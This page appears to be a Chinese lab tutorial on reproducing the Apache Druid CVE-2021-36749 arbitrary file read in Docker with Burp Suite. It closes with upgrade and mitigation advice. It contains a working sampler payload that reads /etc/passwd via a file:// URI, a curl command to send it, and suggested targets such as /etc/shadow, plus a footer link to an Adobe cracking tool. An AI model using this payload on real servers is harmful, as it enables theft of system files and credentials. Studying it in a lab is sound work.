当前位置: 首页 > news >正文

别再只盯着CVE-2021-36749了,手把手教你用Docker+Burp复现Apache Druid任意文件读取漏洞

从零构建Apache Druid漏洞实验环境:实战任意文件读取漏洞复现

在安全研究领域,漏洞复现不仅是验证理论知识的必经之路,更是深入理解系统脆弱性的关键方法。Apache Druid作为一款高性能的实时分析数据库,其CVE-2021-36749漏洞因简单直接的利用方式成为安全测试的经典案例。本文将带你从零开始,使用Docker搭建隔离的漏洞环境,配合Burp Suite进行流量分析,最终实现漏洞的完整复现。

1. 实验环境搭建与准备

1.1 Docker环境配置

首先确保你的系统已安装Docker引擎。对于Linux用户,推荐使用官方脚本一键安装:

curl -fsSL https://get.docker.com | sh sudo systemctl enable --now docker

验证安装是否成功:

docker --version

接下来拉取包含漏洞的Apache Druid镜像。这里我们使用社区维护的漏洞测试镜像:

docker pull vulfocus/druid-cve_2021_36749

启动容器时需要注意端口映射和持久化配置:

docker run -d -p 8888:8888 --name druid_vuln vulfocus/druid-cve_2021_36749

提示:如果8888端口被占用,可以通过-p 新端口:8888参数修改映射端口

1.2 基础环境验证

容器启动后,访问http://localhost:8888应该能看到Druid的Web界面。典型的初始化过程包括:

  • 检查容器日志确认服务正常启动
  • 验证Web界面可访问性
  • 确认基础API端点响应正常
docker logs druid_vuln curl -I http://localhost:8888/status

2. Burp Suite代理配置与流量捕获

2.1 代理环境搭建

Burp Suite是安全测试中不可或缺的工具。配置步骤如下:

  1. 启动Burp Suite Community/Professional版
  2. 在Proxy → Options中确认监听端口(默认8080)
  3. 配置浏览器或系统全局代理指向Burp

对于命令行工具如curl,可以通过-x参数指定代理:

curl -x http://127.0.0.1:8080 http://localhost:8888

2.2 正常流量分析

首先捕获Druid的正常API请求,特别关注以下几个关键端点:

  • /druid/indexer/v1/sampler
  • /druid/coordinator/v1/loadstatus
  • /druid/indexer/v1/task

通过Burp的Proxy → HTTP history查看请求结构,重点关注:

  • HTTP方法(通常为POST)
  • 请求头(Content-Type等)
  • 请求体格式(JSON结构)

典型正常请求示例:

POST /druid/indexer/v1/sampler HTTP/1.1 Host: localhost:8888 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":["http://example.com/data.json"] }, "inputFormat":{ "type":"json" } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"timestamp", "format":"iso" } } } }

3. 漏洞原理与利用构造

3.1 漏洞成因分析

CVE-2021-36749的核心问题在于Druid的InputSource组件对用户提供的URI参数未做充分验证。攻击者可以通过构造特殊的file协议URI,诱使服务器读取任意文件。

漏洞关键点:

  • 影响组件:org.apache.druid.java.util.common.StringUtils
  • 危险方法:uriToString未正确处理file协议
  • 利用条件:需要能够向/druid/indexer/v1/sampler发送POST请求

3.2 Payload构造技巧

利用漏洞读取/etc/passwd的恶意请求示例:

POST /druid/indexer/v1/sampler HTTP/1.1 Host: localhost:8888 Content-Type: application/json { "type":"index", "spec":{ "ioConfig":{ "type":"index", "inputSource":{ "type":"http", "uris":["file:///etc/passwd"] }, "inputFormat":{ "type":"json" } }, "dataSchema":{ "dataSource":"exploit", "timestampSpec":{ "column":"timestamp", "format":"iso" } } } }

关键修改点:

  • inputSource.type保持为http(实际利用file协议)
  • uris数组中使用file://协议
  • 路径使用绝对路径(如/etc/passwd

3.3 响应分析与数据提取

成功利用后,服务器响应中会包含目标文件内容。典型响应结构:

{ "data": [ { "raw": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..." } ] }

提取技巧:

  • 使用jq工具处理JSON响应
  • 注意Base64编码的可能性
  • 处理可能的分块响应
curl -s -X POST http://localhost:8888/druid/indexer/v1/sampler -H "Content-Type: application/json" -d @payload.json | jq '.data[].raw'

4. 进阶利用与防护方案

4.1 漏洞利用的扩展

除了读取/etc/passwd,还可以尝试:

  • 系统关键配置文件(如/etc/shadow
  • Druid自身配置文件(如conf/druid/cluster/_common/common.runtime.properties
  • 日志文件(如logs/druid/historical.log

Windows系统下的利用路径示例:

"uris": ["file:///C:/Windows/System32/drivers/etc/hosts"]

4.2 漏洞修复方案

官方修复措施包括:

  1. 升级到安全版本:

    • Druid 0.21.1及以上
    • Druid 0.20.2及以上
  2. 临时缓解措施:

    • 网络ACL限制访问
    • 使用WAF过滤恶意请求
    • 禁用不必要的API端点

版本检查命令:

docker exec druid_vuln find / -name "druid-*.jar" -exec sh -c 'unzip -p {} META-INF/MANIFEST.MF | grep "Implementation-Version"' \;

4.3 实验环境清理

完成实验后,记得清理Docker资源:

docker stop druid_vuln docker rm druid_vuln docker rmi vulfocus/druid-cve_2021_36749

对于Burp Suite,建议:

  • 清除项目文件
  • 重置代理设置
  • 删除敏感请求历史
http://www.zskr.cn/news/1413494.html

相关文章:

  • Adobe-GenP终极指南:快速解锁Adobe Creative Cloud完整功能的完整教程
  • 用Python和Matplotlib动手画:窄带与宽带干扰的频谱/时频图(附完整代码)
  • 不只是安装:用Anaconda虚拟环境+Jupyter Notebook打造你的远程大数据分析工作站
  • 2026成都环氧自流平包工包料技术全解析与合规推荐 - 优质品牌商家
  • Playwright + 三大AI测试智能体实战:从用例生成到自动修复全记录(附可复现命令)
  • 手把手教你用MATLAB和ROS给两轮平衡车建模:从仿真到算法测试的完整避坑指南
  • 5分钟搭建全平台抽奖系统:Magpie-LuckyDraw实战指南
  • 如何用MeteoInfo实现气象数据三维可视化:从GIS地图到科学计算的一站式解决方案
  • Windows.h里的MessageBox,你真的用对了吗?盘点那些新手容易踩的图标和按钮组合坑
  • WebPlotDigitizer:3分钟从图表图片中提取数据的终极免费方案
  • 基于UDP协议的Android与NodeMCU物联网开关控制实战
  • Gorm子查询
  • 如何用Qobuz-DL轻松下载无损高解析音乐:完整指南
  • 音乐文件解密完全指南:3种方法解锁你的加密音频宝藏
  • 基于555定时器的创意PCB项链制作:从电路原理到动漫图腾实践
  • Taotoken Token Plan 套餐详解,如何为长期项目节省 API 成本
  • 西宁黄金上门回收首选福运来黄金回收,2026年五月行情参考 - 黄金回收
  • Spring Boot配置绑定避坑指南:为什么你的@ConfigurationProperties对Map、List和嵌套对象不生效?
  • 终极英雄联盟工具箱League Akari:LCU API驱动的专业游戏助手完整指南
  • 从后端到AI Agent:我的转行经历与学习路线,小白也能收藏掌握大模型开发!
  • 从一道LeetCode题(641)出发,手把手教你实现自己的ArrayDeque,彻底搞懂双端队列
  • 别急着改后端!前端Vue/React项目里处理`strict-origin-when-cross-origin`的3种姿势
  • 告别命令行恐惧!用群晖Task Scheduler定时任务自动修复pgsql-adapter启动问题
  • 别再让求解器坑了你!用MATLAB/Simulink复现自适应鲁棒滑模控制(附完整模型与避坑指南)
  • STM32F405外设时钟分配实战指南:你的ADC、TIM、USB时钟到底从哪来?
  • VSCode AI编程助手深度评测:6款顶尖扩展配置与实战指南
  • 移动门户:把所有工作装进一个APP
  • 基于SQL Schema微调大语言模型:打造专属Text-to-SQL助手
  • Python实战:调用OpenSky航空API构建实时飞机数据抓取脚本
  • 如何快速实现PowerShell脚本编译:Win-PS2EXE完整指南